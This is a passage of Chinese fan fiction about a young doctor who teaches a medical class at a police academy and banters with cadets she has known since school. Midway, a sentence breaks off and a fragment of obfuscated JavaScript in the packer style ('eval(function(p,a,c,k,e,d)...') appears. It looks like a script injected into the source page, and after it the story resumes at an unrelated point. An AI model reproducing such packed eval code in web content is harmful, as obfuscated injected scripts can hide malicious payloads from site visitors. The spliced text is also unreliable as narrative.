相信她,除非迫不得已的情况下,没有医生会主动干一瓶葡萄糖的。 那是非常黏腻的甜味,喝完后在喉咙里会有一会干吸吸管一样的味道。 “打扰了。” 有里从自己的思维中回过神,低头确认了一下时间,差二十分钟到七点而已,竟然这么快,而且来到人是诸伏景光? 她还以为会是剩下三个人中的一位,当然,如果是萩原研二带头来的话就是两位。 诸伏景光这会结束了今天的训练,换上了自己的常服,单间背着包,完全一副男大学生的样子啊,不对,本来就脱离大学没多久…… 警察学校白天的日程排得很满,但晚上基本处于自由活动的时间。 实际上晚班会出现紧急情况的概率很低,所以只在晚上安排了一个人,以备不时之需。 “你们六点多结束训练,自己整理完再吃过饭,我还以为怎么着也要到七点。”有里起身去接了杯热水,用勺子从罐子里盛了一勺梨膏。 “早上的时候我听到你有点咳嗽,把这个喝了。” 可能是对于医生的话的话下意识的身体反应,诸伏景光乖巧地接过,总之被人关心的感觉还不赖。 说到这里。 诸伏景光坐在接待的沙发上,把背包拿到前面,“你的钥匙。” “谢啦。” “那么医生小姐,在照顾病人之前是不是也要记得照护好自己。” 诸伏景光从背包里拿出一个三明治——在得知班长写下的纸条之后,诸伏景光发现其实并没有约定具体的时间,这家伙一定会在医务室一直等他们。 到底还是担心。 所以他主动承接了还钥匙的任务,一下课收拾完就去餐厅买了三明治急忙带过来,现在还是温热的。 于是七点,脱下白大褂,消过毒的有里没想到自己到警察学校第一顿真正意义上的晚餐,竟然是和诸伏景光一起在医务室的沙发上,一人一个三明治配着梨膏水。 但还不错。 ———————— “哈……为什么都开学一周了还要换新的课表啊。”松田阵平刚从外面回来,路过的时候瞥了一眼,一边往自己的座位走一边嘟囔。 这是警校生活的第二周,大多数人已经适应了这种规律的作息安排。 周一晨训结束,此刻伊达航正在把刚从鬼冢教官那里拿到的最新课表贴在墙上,对于这位炸毛的同期投以了眼神警告——这小子别拆他台。 萩原研二很有眼色地勾住自己幼驯染的脖子,“好了好了,班长肯定会解释的。” 他特地提高了音量,其余的同学听到萩原研二的这句话也都回到了座位。 “也没有太大调整,”伊达航向萩原研二投去一个靠谱的眼神,“只是每周一晚上加了一节课,大家去对应的教室就行。” 其实原本鬼冢教官这边表示可以为有里安排更加协调的白天上课时间……起码对她来讲更方便。 但是有里考虑到白天的课表本身就已经很满了,现在再更改似乎过于费事——而且她都决定住在这里了,晚上上课也也不是什么麻烦的事情。 不过对于这群警校学生来说,莫名其妙多加两节课会不会有埋怨,就不是她考虑的事情了。 “天哪,我听之前的前辈说,放开之后晚上的时间可是联谊的好时候……” “兄弟,虽然我也很期待,但是如果是和我们班的男生一起去和女生联谊,咱怕是只能当炮灰了。” 这位说完哀怨地看了一眼坐在班里正中间位置的五人组——都有着抢眼的外表,而且完全属于不同属性的优质男生,想都不用想,他要是女生也肯定会从这五个人里面选择心动对象吧。 更让人语塞的是……一个个要么是萩原研二这种情商极高的人,要么是诸伏景光这种没办法讨厌的性格,完全没办法对这五个人产生什么嫉妒! “咳咳……”伊达航大声吸引了这群预备警官的注意力,作为班长他还是有一定的威慑力在的。 “总之,这也是警视厅方面从现存问题出发提出的一项新的尝试,不是件坏事。” “咱们班的课和隔壁班一起上,去大教室,排到了今天晚上晚饭之后,还是记住时间准时来就行。” —————— 鉴于【老师太少学生太多】的缘故,有里和校方协商,在她做教案其他三位都带班,和她一个人带大班这两种方案之间,学校选择了后者。 虽然某种程度上是警察学校对她的信任,但确实肩膀上担子更重了——为了配合她的教学进度,有里承包了周末两天的夜班任务。 她做不出来凭借自己没空,就完全把值夜班这种工作交给小朋友来做。 虽然天野美琴在知道她的时间安排之后多次表示自己愿意多上一次夜班……多么可爱的小学妹。 但有里还是拒绝了。 —————— 其实把自己的课安排在周内的这个时间段也是有好处的,在结束了两个小时的通风后,教室里的味道没有那么难以接受。 上学的时候如果上一节课的同学刚刚进行完运动,尤其是夏天,每次都要做足心理准备,那个味道属实不敢恭维。 有里无比感谢自己这个决定。 诸伏景光在看到课表名称——了解这门课跟医学有关,就有一些奇妙的猜测。 一方面觉得这件事情太过于玄妙,自己从小认识的同班同学,现在居然成了自己的老师。 一方面又觉得这门明摆着是突然安插的课表一定是在最近才确认了适宜的人选,按照资历是她也很合理。 不对,那自己现在应该怎么称呼啊!!!! 事实上当事人有里走到教室门口的时候也觉得很微妙,尤其是这几个熟人的位置还在正中间。 称呼的问题现在倒是次要的,但是一个专业的老师,是不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萩原研二抓住时机,趁着有里转身写板书的时候侧身小声解答,“班长,有里酱虽然和咱们一样大,但是按照这种升级速度,五年内你在东都大学的教职工名单看到她的名字都是十分合理的事情哦。” 其他四个人都和有里中学相识,大学也是同一所……可是伊达航不知道呢。 “凭那些医务室的其他同学在有里酱面前听话的样子,班长大概能猜到了吧,这位在他们面前可是‘大前辈’呢。” “这么厉害!”伊达航是向来不爱八卦这些事情,加上不熟悉的时候,这个块头和长相,也没人会主动和他来八卦。 说起来医务室的那些小朋友嘴也不是很严,更何况这也不是什么需要隐瞒的事情。 虽然这些警校学生大多和外守有里相仿的年纪。 但是按照天野美琴的话来说——不知道为什么,可能是医学院的血脉压制,在有空前辈面前总是不注意就会变得尊敬起来。 “所以除了少数和班长一样的人,大家都知道有里酱的学历相当优秀呢。” 伊达航进行了小小的自我反思,以及微微的怀疑——这年头东大这么好考了嘛,怎么一抓一大把。 自己当场怎么就没选东大呢? 不对,要是这样就不一定能遇到娜塔莉了,人生赢家——伊达航同学露出了笑容。 恋爱中的人总是一想起对方就会傻笑,更何况伊达航和娜塔莉从来就没有过了热恋期这一说。 幸好这是上课期间,要是课间被鬼冢班的同学看到平时威严仅次于教官的班长露出这服表情,一定会惊掉下巴。 —————— 可别的同学看不到,不代表讲台上的某人看不到。 要忍耐……第一节课要留下好印象。 这是有里在走进教室之前给自己做足的心理预期,但是! 底下的某些人要不要把自己当成耳朵聋了啊! 尤其是,她转头的瞬间还看到伊达航尚未压下去的嘴角,到底什么事情这么好笑! “看来同学们似乎认为我的这门课比较简单,那么我们随机请一位同学来回答一个小问题吧。” 同是学生,本身有里并不想安排这些互动,但目前看来效果不错。 下面坐得松松散散的学生一下子挺直了身板,目光……倒是都偏移地很明显。 很好——完美诠释了“别点我”的表现。 怪不得从小到大的老师们都致力于在课上通过随机提问和同学互动。 有里(老师版)表示很满意。 “啊……现在似乎大家都又提起了一点兴趣,”她拖长了语调,“对了,我刚刚好像忘了说,每一堂课结束前都会有一个当堂小考,最后结课的总成绩就是所有课堂小考的平均分,大家要注意哦。” 太……歹毒了。 36.5℃的嘴怎么能说出如此冰冷的话。 小考这件事情有里倒是早有预谋,本身还是想要直接在最后发下来打一个措手不及,现在看来还是得提起预告调动学生的注意力。 当老师也不轻松啊。 之后的教学任务就变得轻松起来,虽然是为了应对小考,这群警校学生们投入了精力,毕竟是本身能入选进入警察学校的同学基本都在脑力方面做得不错,倒也很能适应有里的讲课节奏。 一门课在课表上显示时长是100分钟——但有里还是在上课将近一半的时候放出这群学生去呼吸点新鲜空气,自己顺便也喝口水。 她认为太长时间连续要求一个人高度集中精神是一件不容易的事情,实际上能够长时间高度集中注意力的人非常少,这更算是一种天赋。 只要教学进度完成了,她提前下课也不是不可能,这就看大家的配合程度了。 看来警校学生的课间也和自己的大学没差啊——那边趴在桌子上补觉的松田阵平。 被人群围在中间完全占领舆论焦点的萩原研二。 拿着统计表格正在疯狂补记录的伊达航和抱臂站在一左一右的幼驯染二人组。 完全没有帮忙的打算呢。 不过这会其中之一正向自己走过来。 “要帮你接点水吗?” 可能是因为太熟的原因,这会诸伏景光同学已经把“我有别的心眼子”这句话写在脸上了。 当然可能也是因为这件事情看起来不像是他完全自愿的样子。 “不用了,”有里笑眯眯地把杯子往回带了带,准备看对方下一步的发展。 “哈……那下午吃了吗?” 这就跟在大街上没事遇见认识的人硬憋出来一句“今天天气真好”一样,敷衍中带着点局促,总之真的是纯尬聊啊。 课间确实无聊,有里很乐意和他这样一来一回,“吃过了呢。” 在随便扯了两句之后的诸伏景光发现这人柴油不急,完全一副“我什么都看不透”的样子,叹了口气进入正题,“一会考试能不能给个范围?” “哦……”有里慢慢地点点头,一副恍然大悟的同学,“所以我们景光同学是被派来刺探情报的~” 当场被挑破的诸伏景光仍然面不改色。 “所以能行吗?” 可以啊,警校生活果然磨砺人,要不是因为太熟的原因,有里都快要被这人糊弄过去了——她还是抓住了诸伏景光眨眼的频率变快的事实。 秉持着努力逗人的原则,有里装作思考: “喔……刚刚和你交流的就是降谷零和伊达航,前者显然不会把测验当成困难的事情,至于伊达班长本来应该也不会……” “不过这会是觉得自己上课开小差被我抓包,”有里挑眉,“是不是还加上降谷零在一旁煽风点火地挑动情绪,捏造我的人设,才让这位正直的班长愿意开这个口。” 推测的八九不离十了……降谷零和她本身也是相熟的关系,这会能猜到zero干了什么也不是稀奇事。 诸伏景光觉得自己的幼驯染在捉弄班长这件事情上越来越得心应手了。 某种意义上也是因为对方“过度的关心”让降谷零不知道怎么回复才对。 也是一件好事,自己的幼驯染在来到警察学校之后,结交朋友的频率比过去二十多年的人生都要快,而且这几个人他觉得未来都是可以让人完全信任,把背后交给彼此的同伴。 时间退回到五分钟前。 虽然上课的时候没有被有里直接点名,但凭靠着多年做学生的直觉,伊达航很确定刚刚在宣布测验的时候,这位老师的视线大部分都是停留在自己身上...... 所以下课之后伊达航迅速决定借用诸伏景光的笔记本查漏补缺,这几个人里面就诸伏的笔记最全面了。 降谷零在一旁伸展胳膊的同时,看着奋笔疾书的伊达航和正在一旁不时解说的幼驯染,觉得自己可以做点什么? “不过班长——”降谷零拖长了语调,语气间充满了真诚,“凭着我对她的认识,题目难度绝对可以说是往变态的那方面靠拢。” 如果只听到这里,那么还算是正常。 可惜伊达航忙着低头赶进度,错过了降谷零眼神中一闪而过的狡黠。 诸伏景光当然没有错过自己幼驯染的表情变化,在心中短暂纠结过之后,选择了看zero表演......好吧,他承认自己也有一点看热闹的心思。 降谷零缓慢开口:“其实她这个人非常较真和要强,曾经我们在白天讨论一个哲学问题,到了半夜这位还会突然打电话给我证明她的观点......所以针对于刚刚课上似乎注意力不太集中的班长,一定会成为她的重点关注对象的,如果这次成绩不突出的话,日后课上可就别想闲着了。” 伊达航起了个冷颤,成绩不突出和成绩不理想可以有着本质区别的,完了,这事逼着自己往上冲啊——就算他能保证自己上课的效率,也不想随之准备被上课抽查啊!!! “不过hiro因为非常熟悉,所以可能会摸清她的出题规律,是吧?” 伊达航随即向一旁听戏的诸伏景光投去充满希望的目光——怎么还有他的事情。 “这我是真的不清楚......”诸伏景光开始后悔刚刚没有第一时间阻止自己幼驯染的发展,现在这句话说出来明显不足以让伊达航死心。 当然,如果仔细听进去了降谷零刚刚的话术,除了“hiro更熟悉有里的出题规律”这段,还有“两人非常熟悉”这个在伊达航脑海中不断加深的信息点。 熟悉的朋友询问一点出题范畴也不算是过分的事情吧,总之抱着这样的想法,伊达航完美上钩。 “诸伏,拜托你了!”